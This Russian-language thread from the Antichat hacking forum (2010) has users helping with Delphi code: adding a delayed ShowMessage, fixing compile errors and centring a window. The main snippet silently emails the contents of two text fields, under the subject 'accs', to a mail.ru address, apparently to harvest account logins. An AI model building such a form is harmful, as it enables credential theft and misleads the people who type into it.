Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

29.03.2010, 15:48
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
Провел на форуме: 828081
Репутация:
84
|
|
mailbrush ну видимо не может выйти из цикла т.к. (r > 0) выполняется
stepashka_ ну просто вставить ShowMesssage('Твой текст') после Disconnect. если я правильно тебя понял
через время..положи на форму TTimer. Enabled задай в false. На обработчиr OnTimer посади
ShowMesssage('Твой текст')
А в коде процедуры добавь:
Timer1.Interval := //тут твое время в миллисекундах
Timer1.Enbled := True;
Последний раз редактировалось GhostOnline; 29.03.2010 в 15:54..
|
|
|

29.03.2010, 15:53
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме: 3055344
Репутация:
259
|
|
Сообщение от stepashka_
как сделать что бы после
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='1;
IdSMTP1.Password:='1';
IdMessage1.Body.Text:=' '+memo1.Text+' ;'+memo3.Text;
IdMessage1.From.Text:='1@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='1@mail.ru';
IdMessage1.Subject:='accs';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;
подскажите как сделать что бы после этой процедуры через определённое время вылетало ShowMessage с моим текстом...
sleep(3000);
ShowMessage('Hello');
это в конце проги вставь
|
|
|

29.03.2010, 16:18
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме: 7879791
Репутация:
265
|
|
Сообщение от EndLeSSDre@M
sleep(3000);
ShowMessage('Hello');
это в конце проги вставь
Если добавить в конец то ShowMessage будет вылазить после запуска проги) а мне нужно что бы оно открывалось после нажатия на кнопку например через 10секунд))
|
|
|

29.03.2010, 16:21
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме: 3055344
Репутация:
259
|
|
сделай такую процедуру:
PHP код:
Procedure MySleep(Sec:Integer);
Var I:Integer;
Begin
For I:=1 to Sec do
begin
Sleep(1000);
Application.ProcessMessages;
end;
end;
потом в кнопке ссылайся на нее
MySleep(тут количество секунд);
Showmessage('Hello');
Последний раз редактировалось EndLeSSDre@M; 29.03.2010 в 16:26..
|
|
|

29.03.2010, 16:49
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме: 7879791
Репутация:
265
|
|
Сообщение от EndLeSSDre@M
сделай такую процедуру:
PHP код:
Procedure MySleep(Sec:Integer);
Var I:Integer;
Begin
For I:=1 to Sec do
begin
Sleep(1000);
Application.ProcessMessages;
end;
end;
потом в кнопке ссылайся на нее
MySleep(тут количество секунд);
Showmessage('Hello');
неа
пробую вот так
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='1;
IdSMTP1.Password:='1';
IdMessage1.Body.Text:=' '+memo1.Text+' ;'+memo3.Text;
IdMessage1.From.Text:='1@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='1@mail.ru';
IdMessage1.Subject:='accs';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
Sleep(10000); //ждём 10 сек
ShowMessage('ТУТ то что нод выводить');
Close;
end;
вылетает при компиляции
[Ошибка] Unit1.pas(76): Missing operator or semicolon
[Фатальная Ошибка] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
красная строка на Sleep(10000); //ждём 10 сек 
|
|
|

29.03.2010, 16:55
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме: 3055344
Репутация:
259
|
|
Как нет то.. у тя вот так должно быть:
PHP код:
Procedure MySleep(Sec:Integer);
Var I:Integer;
Begin
For I:=1 to Sec do
begin
Sleep(1000);
Application.ProcessMessages;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='1'; //вот тут у тя ковычки не хватало!
IdSMTP1.Password:='1';
IdMessage1.Body.Text:=' '+memo1.Text+' ;'+memo3.Text;
IdMessage1.From.Text:='1@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='1@mail.ru';
IdMessage1.Subject:='accs';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
MySleep(10); //ссылка на процедуру
ShowMessage('Текст');
Close;
end;
|
|
|

29.03.2010, 17:33
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме: 7879791
Репутация:
265
|
|
Сообщение от EndLeSSDre@M
Как нет то.. у тя вот так должно быть:
PHP код:
Procedure MySleep(Sec:Integer);
Var I:Integer;
Begin
For I:=1 to Sec do
begin
Sleep(1000);
Application.ProcessMessages;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='1'; //вот тут у тя ковычки не хватало!
IdSMTP1.Password:='1';
IdMessage1.Body.Text:=' '+memo1.Text+' ;'+memo3.Text;
IdMessage1.From.Text:='1@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='1@mail.ru';
IdMessage1.Subject:='accs';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
MySleep(10); //ссылка на процедуру
ShowMessage('Текст');
Close;
end;
[Ошибка] Unit1.pas(86): Missing operator or semicolon
[Ошибка] Unit1.pas(46): Unsatisfied forward or external declaration: 'TForm1.MySleep'
[Фатальная Ошибка] Project1.dpr(5): Could not compile used unit 'Unit1.pas' 
|
|
|

29.03.2010, 17:35
|
|
Постоянный
Регистрация: 25.07.2008
Сообщений: 454
Провел на форуме: 1229135
Репутация:
425
|
|
Сообщение от EndLeSSDre@M
сделай такую процедуру:
PHP код:
Procedure MySleep(Sec:Integer);
Var I:Integer;
Begin
For I:=1 to Sec do
begin
Sleep(1000);
Application.ProcessMessages;
end;
end;
потом в кнопке ссылайся на нее
MySleep(тут количество секунд);
Showmessage('Hello');
Код:
Application.ProcessMessages;
не гарантируется, что будет выполняться 1мс
|
|
|

29.03.2010, 17:44
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме: 4761503
Репутация:
229
|
|
wolmer, работать в отдельном потоке вовсе не обязательно...
конечно не обязательно, но чтобы программа не подвисала при приеме/отправке данных - нужно создавать отдельный поток (покрайне мере я другого варианта никогда не встречал (чтобы программа не подвисала при send/recv))
ну а если идет речь о мелких данных (send/recv) то можно и без выд. потока обойтись
(с удовольствием послушаю как можно обойтись без createthread при приеме/отправке больших данных (если же такое возможно)  )
Последний раз редактировалось wolmer; 29.03.2010 в 17:56..
|
|
|

29.03.2010, 21:34
|
|
Познающий
Регистрация: 21.11.2009
Сообщений: 77
Провел на форуме: 2482290
Репутация:
29
|
|
Сообщение от s0l_ir0n
PHP код:
function CenterWindow(Wnd:HWND):boolean;
var
R:TRect;
X,Y,W,H:integer;
begin
GetWindowRect(Wnd, R);
W:=GetSystemMetrics(SM_CXSCREEN);
H:=GetSystemMetrics(SM_CYSCREEN);
X := (W div 2) - ((R.Right - R.Left) div 2);
Y := (H div 2) - ((R.Bottom - R.Top) div 2);
result:=SetWindowPos(Wnd, 0, X, Y, 0, 0, SWP_NOSIZE or SWP_NOZORDER or SWP_NOACTIVATE)
end;
Спасибо!
А как считать содержимое edit1?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|